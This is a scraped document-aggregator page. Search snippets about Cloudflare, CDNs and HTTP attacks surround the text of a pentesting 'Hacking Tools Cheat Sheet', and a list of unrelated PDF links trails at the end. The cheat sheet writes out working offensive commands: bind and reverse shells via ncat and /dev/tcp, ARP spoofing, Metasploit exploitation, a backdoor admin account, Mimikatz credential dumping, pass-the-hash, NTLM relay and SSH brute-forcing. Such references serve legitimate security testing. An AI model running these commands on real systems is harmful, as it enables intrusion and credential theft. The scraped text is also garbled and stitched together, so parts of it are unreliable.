Finding The Real Origin IPs Hiding Behind CloudFlare or TOR
Aug 19 2018 Starting a quick pentest could reveal the IP as well. Headers like the HTTP server header can be used to find possible ex- ploits for the ...
Hacking Tools Cheat Sheet
curl http://10.5.23.42:2305/?foo=bar --proxy http://127.0.0.1:8080: Set proxy ... Show exploit file path and copy it into clipboard:.
KASPERSKY SECURITY BULLETIN 2013
For example MiniDuke included the first exploit capable look for insecure web sites and plant a malicious script into HTTP or PHP code on.
Host of Troubles: Multiple Host Ambiguities in HTTP Implementations
cache proxy or firewall) interprets the request one way but the final destination (such as a leading to three exploiting techniques: (a) multiple Host.
Forwarding-Loop Attacks in Content Delivery Networks
(such as appending custom HTTP headers like CloudFlare's. CF-Connecting-IP [19]) to detect adds a new header Incapsula-Proxy-ID
Internet
(such as appending custom HTTP headers like CloudFlare's The vulnerability we examine in ... Table I presents the 16 CDNs and their vulnerability to.
Cached and Confused: Web Cache Deception in the Wild
Aug 12 2020 the use of massive networks of caching proxies deployed ... disagreement can then be exploited to trick the web cache.
Host of Troubles: Multiple Host Ambiguities in HTTP Implementations
Exploits multiple ambiguities of HTTP response headers. (Content-Encoding .etc). • Host header attacks [Kettle 2013]. • Exploiting insufficient input
# references WP Security Whitepaper
May 4 2016 <http://arstechnica.com/security/2016/05/easily-exploited-bug-exposes-huge- ... DNS-level (Cloudflare
T-Reqs: HTTP Request Smuggling with Differential Fuzzing
Nov 15 2021 HTTP Request Smuggling (HRS) is an attack that exploits the HTTP processing discrepancies between two servers deployed in a proxy- origin ...
[PDF] Finding The Real Origin IPs Hiding Behind CloudFlare or TOR
19 août 2018 · Hidden services and the effectiveness of CloudFlare or any similar service live from hiding the origin servers IP
[PDF] Cloudflare Zero Trust
Comprehensive logs for DNS HTTP SSH network and Shadow IT activity Monitor user activity across all apps Send logs to multiple of your preferred cloud
[PDF] WAF product brief Fall 2022 - Cloudflare
Our managed rules block exploits complemented by machine learning-derived WAF attack scores to detect evasions OWASP top ten threats Attacks require layered
[PDF] Common browser isolation challenges and how to overcome them
8 avr 2021 · Cloudflare's Network Vector Rendering (NVR) technology intercepts the remote Chromium browser's Skia draw commands tokenizes and compresses
[PDF] Cloud Application Security & Performance - Cloudflare
The majority of web traffic today is served through CDNs Malicious payloads exploit application vulnerabilities using methods such as SQL injections
A tale of a DNS exploit: CVE-2015-7547 - The Cloudflare Blog
29 fév 2016 · The DNS proxy on localhost is going to ask the attacker both queries over UDP valgrind curl https://www cloudflare com/ ==6025== Process
[PDF] A hands-on gaze on HTTP/3 security through the lens of - arXiv
sumed that by exploiting HPACK HTTP/2-enabled proxies could be over after the attack was active for 30 sec Cloudflare presented an
[PDF] A Large-scale Analysis of Content Modification by Open HTTP Proxies
open HTTP proxies are an attractive option for bypassing IP- based filters and geo-location the services launched by cloud providers such as CloudFlare2
[PDF] Hacking Tools Cheat Sheet - Compass Security
Hacking Tools Cheat Sheet Compass Security Version 1 1 compass-security com on https://crt sh --proxy http://127 0 0 1:8080: Set proxy
[PDF] The Security Impact of HTTPS Interception - J Alex Halderman
company that serves approximately 5 of all web traffic [25] Cloudflare provides these services by acting as a reverse proxy Clients connect to one of
Compass Security, Version 1.1, January 2020
https://www.compass-security.comBasic Linux Networking Tools
Show IP configuration:
# ip a lChange IP/MAC address:
# ip link set dev eth0 down # macchanger -m 23:05:13:37:42:21 eth0 # ip link set dev eth0 upStatic IP address configuration:
# ip addr add 10.5.23.42/24 dev eth0DNS lookup:
# dig compass-security.comReverse DNS lookup:
# dig -x 10.5.23.42Information Gathering
Find owner/contact of domain or IP address:
# whois compass-security.comGet nameservers and test for DNS zone transfer:
# dig example.com ns # dig example.com axfr @n1.example.comGet hostnames from CT logs: Search for
%.compass-security.com on https://crt.sh.Or using an nmap script:
# nmap -sn -Pn compass-security.com --script hostmap-crtshCombine various sources for subdomain enum:
# amass enum -src -brute -min-for- recursive 2 -d compass-security.comTCP Tools
Listen on TCP port:
# ncat -l -p 1337Connect to TCP port:
# ncat 10.5.23.42 1337TLS Tools
Create self-signed certificate:
# openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -subj "/CN=example.org/"Start TLS Server:
# ncat --ssl -l -p 1337 --ssl-cert cert.pem --ssl-key key.pemConnect to TLS service:
# ncat --ssl 10.5.23.42 1337Connect to TLS service using openssl:
# openssl s_client -connect10.5.23.42:1337
Show certificate details:
# openssl s_client -connect10.5.23.42:1337 | openssl x509 -text
Test TLS server certificate and ciphers:
# sslyze --regular 10.5.23.42:443TCP to TLS proxy:
# socat TCP-LISTEN:2305,fork,reuseaddr ssl:example.com:443Online TLS tests:
ssllabs.com, hardenize.comHTTP Tools
Start Python webserver on port 2305:
# python3 -m http.server 2305Perform HTTP Request:
# curl http://10.5.23.42:2305/?foo=barUseful curl options:
-k: Accept untrusted certificates -d "foo=bar": HTTP POST data -H: "Foo: Bar": HTTP header -I: Perform HEAD request -L: Follow redirects -o foobar.html: Write output file --proxy http://127.0.0.1:8080: Set proxyScan for common files/applications/configs:
# nikto -host https://example.netEnumerate common directory-/filenames:
# gobuster dir -k -u https://example.net -w /usr/share/wordlists/dirb/common.txtSniffing
ARP spoofing:
# arpspoof -t 10.5.23.42 10.5.23.1Or a graphical tool:
# ettercap -GShow ARP cache:
# ip neighDelete ARP cache:
# ip neigh flush allSniff traffic:
# tcpdump [options] [filters]Useful tcpdump options:
-i interface: Interface or any for all -n: Disable name and port resolution -A: Print in ASCII -XX: Print in hex and ASCII -w file: Write output PCAP file -r file: Read PCAP fileUseful tcpdump filters:
not arp: No ARP packets port ftp or port 23: Only port 21 or 23 host 10.5.23.31: Only from/to host net 10.5.23.0/24: Only from/to hosts in networkAdvanced sniffing using tshark or Wireshark.
Sniffing over SSH on a remote host:
# ssh 10.5.23.42 tcpdump -w- port not ssh | wireshark -k -i -Search in network traffic:
# ngrep -i passwordShow HTTP GET requests:
# urlsnarfShow transmitted images:
# driftnetNetwork Scanning
ARP Scan:
# nmap -n -sn -PR 10.5.23.0/24Reverse DNS lookup of IP range:
# nmap -sL 10.5.23.0/24Nmap host discovery (ARP, ICMP, SYN 443/tcp,
ACK 80/tcp):
# nmap -sn -n 10.5.23.0/24TCP scan (SYN scan = half-open scan):
# nmap -Pn -n -sS -p22,25,80,443,8080 10.5.23.0/24
List Nmap scripts:
# ls /usr/share/nmap/scriptsScan for EternalBlue vulnerable hosts:
# nmap -n -Pn -p 443 --script smb- vuln-ms17-010 10.5.23.0/24 Scan for vulnerabilities (script category filter): # nmap -n -Pn --script "vuln and safe"10.5.23.0/24
Performance Tuning (1 SYN packet 60 bytes
ĺ 20'000 packets/s 10 Mbps):
# nmap -n -Pn --min-rate 2000010.5.23.0/24
Useful nmap options:
-n: Disable name and port resolution -PR: ARP host discovery -Pn: Disable host discovery -sn: Disable port scan (host discovery only) -sS/-sT/-sU: SYN/TCP connect/UDP scan --top-ports 50: Scan 50 top ports -iL file: Host input file -oA file: Write output files (3 types) -sC: Script scan (default scripts) --scriptThe target can be specified using CIDR notation
(10.5.23.0/24) or range definitions (10.13-37.5.1-23).
Fast scan using masscan:
# masscan -p80,8000-8100 --rate 2000010.0.0.0/8
Public internet scan databases:
shodan.io, censys.ioShells
Start bind shell (on victim):
# ncat -l -p 2305 -e "/bin/bash -i"Connect to bind shell (on attacker):
# ncat 10.5.23.42 2305Listen for reverse shell (on attacker):
# ncat -l -p 23Start reverse shell (on victim):
# ncat -e "/bin/bash -i" 10.5.23.5 23Start reverse shell with bash only (on victim):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1Upgrade to pseudo terminal:
# python -c 'import pty; pty.spawn("/bin/bash")'Vulnerability DBs and Exploits
Exploit search (local copy of the Exploit-DB):
# searchsploit apache Show exploit file path and copy it into clipboard: # searchsploit -p 40142Online vulnerability and exploit databases:
cvedetails.com, exploit-db.com, packetstormsecurity.comCracking
Try SSH passwords from a wordlist:
# ncrack -p 22 --user root -P ./passwords.txt 10.5.23.0/24Determine hash type:
# hashid 869d[...]bd88Show example hash types for hashcat:
# hashcat --example-hashesCrack hashes (e.g. 5600 for NetNTLMv2 type):
# hashcat -m 5600 -a 0 hash.txt /path/to/wordlists/*Crack hashes using John the Ripper:
# john hashes.txtMetasploit Framework
Start Metasploit:
# msfconsoleSearch exploit:
> search eternalblueUse exploit:
msf > use exploit/windows/smb/ms17_ŝConfigure exploit:
Run exploit:
Generate reverse shell (WAR):
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=Reverse shell listener:
> use exploit/multi/handler > set payload linux/x64/shell_reverse_tcp > set LHOST 10.5.23.42 # attacker > set LPORT 443 > exploitUpgrade to Meterpreter (or press ^Z (Ctrl-Z)):
backgroundBackground session 1? [y/N] y
> sessions # list sessions > sessions -u 1 # Upgrade > sessions 2 # interact with session 2 meterpreter > sysinfo # use itUpload / download files:
meterpreter > upload pwn.exe meterpreter > download c:\keepass.kdbExecute a file:
meterpreter > execute -i -f /your/binPort forwarding to localhost:
meterpreter > portfwd add -l 2323 -p3389 -r 10.5.23.23
Background Meterpreter session:
meterpreter > backgroundPivoting through existing Meterpreter session:
> use post/multi/manage/autoroute > set session 2 # meterpreter session > run > routeSOCKS via Meterpreter (requires autoroute):
> use auxiliary/server/socks4a > set SRVPORT 8080 > runConfigure ProxyChains:
# vi /etc/proxychains.conf socks4 127.0.0.1 1080Connect through SOCKS proxy:
# proxychains ncat 172.23.5.42 1337Linux Privilege Escalation
Enumerate local information (-t for more tests):
# curl -o /tmp/linenum https://raw.githubusercontent.com/rebo otuser/LinEnum/master/LinEnum.sh # bash /tmp/linenum -r /tmp/reportOther hardening checks can be done using lynis
or LinPEAS.Use sudo/SUID/capabilities/etc. exploits from
gtfobins.github.io.Windows Privilege Escalation
Copy PowerUp.ps1 from GitHub "Pow-
erShellMafia/PowerSploit" into PowerShell to bypass ExecutionPolicy and execute Invoke-AllChecks. Use the abuse functions.
Add a new local admin:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /addScan for network shares:
# smbmap.py --host-file smbhosts.txt - u Administrator -p PasswordOrHashWindows Credentials Gathering
Start Mimikatz and create log file:
C:\>mimikatz.exe
# privilege::debug # log C:\tmp\mimikatz.logRead lsass.exe process dump:
# sekurlsa::minidump lsass.dmpDump lsass.exe in taskmgr or procdump.
Show passwords/hashes of logged in users:
# sekurlsa::logonpasswordsBackup SYSTEM & SAM hive:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv
Extract hashes using Mimikatz:
# lsadump::sam /system:system.hiv /sam:sam.hivPass-the-Hash
Shell via pass-the-hash (Impacket Tools):
# ./psexec.py -hashes :011AD41795657A8ED80AB3FF6F078D03 domain/username@10.5.23.42Over a subnet and extract SAM file:
# crackmapexec -u Administrator -H :011AD41795657A8ED80AB3FF6F078D0310.5.23.0/24 --sam
Browse shares via pass-the-hash:
# ./smbclient.py domain/usrname@10.5.23.42 -hashes :011AD41795657A8ED80AB3FF6F078D03RDP via pass-the-hash:
# xfreerdp /u:user /d:domain /pth:011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42Meterpreter via pass-the-hash:
msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 10.5.23.42 # attacker msf > set LPORT 443 msf > set RHOST 10.5.23.21 # victim msf > set SMBPass 01[...]03:01[...]03 msf > exploit meterpreter > shellC:\WINDOWS\system32>
NTLM Relay
Vulnerable if message_signing: disabled:
# nmap -n -Pn -p 445 --script smb- security-mode 10.5.23.0/24Disable SMB and HTTP in Responder.conf and
start Responder: # ./Responder.py -I eth0NTLM Relay to target and extract SAM file:
# ./ntlmrelayx.py -smb2support -t smb://10.5.23.42NTLM Relay using socks proxy:
# ./ntlmrelayx.py -tf targets.txt -smb2support -socksConfigure ProxyChains:
# vi /etc/proxychains.conf socks4 127.0.0.1 1080Access files via SOCKS proxy:
# proxychains smbclient -m smb3 '\\10.5.23.42\C$' -W pc05 -UAdministrator%invalidPwd
Active Directory
Use SharpHound to gather information and im-
port into Bloodhound to analyze.Download PingCastle from pingcastle.com and
generate Report.More Online References
GitHub "swisskyrepo/PayloadsAllTheThings"
GitHub "danielmiessler/SecLists
GitHub "enaqx/awesome-pentest"
quotesdbs_dbs17.pdfusesText_23[PDF] http://admission tardive.sram.qc.ca
[PDF] http://admission.sram.qc.ca
[PDF] http://admission.sram.qc.ca/mon dossier
[PDF] http://allresultsweb.fr
[PDF] http://apprendre.tv5monde.com/fr/apprendre francais/entrainement au tcf
[PDF] http://archive.6502.org/
[PDF] http://assistancecheck.com/admin
[PDF] http://att.com/loginnow
[PDF] http://brolliet.ch
[PDF] http://campusart.org
[PDF] http://campusarts.psu.edu
[PDF] http://canadp archivesenligne.paris.fr/archives_etat_civil/index.php
[PDF] http://cet.kea.kar.nic.in
[PDF] http://citationmachine.net/apa/cite a journal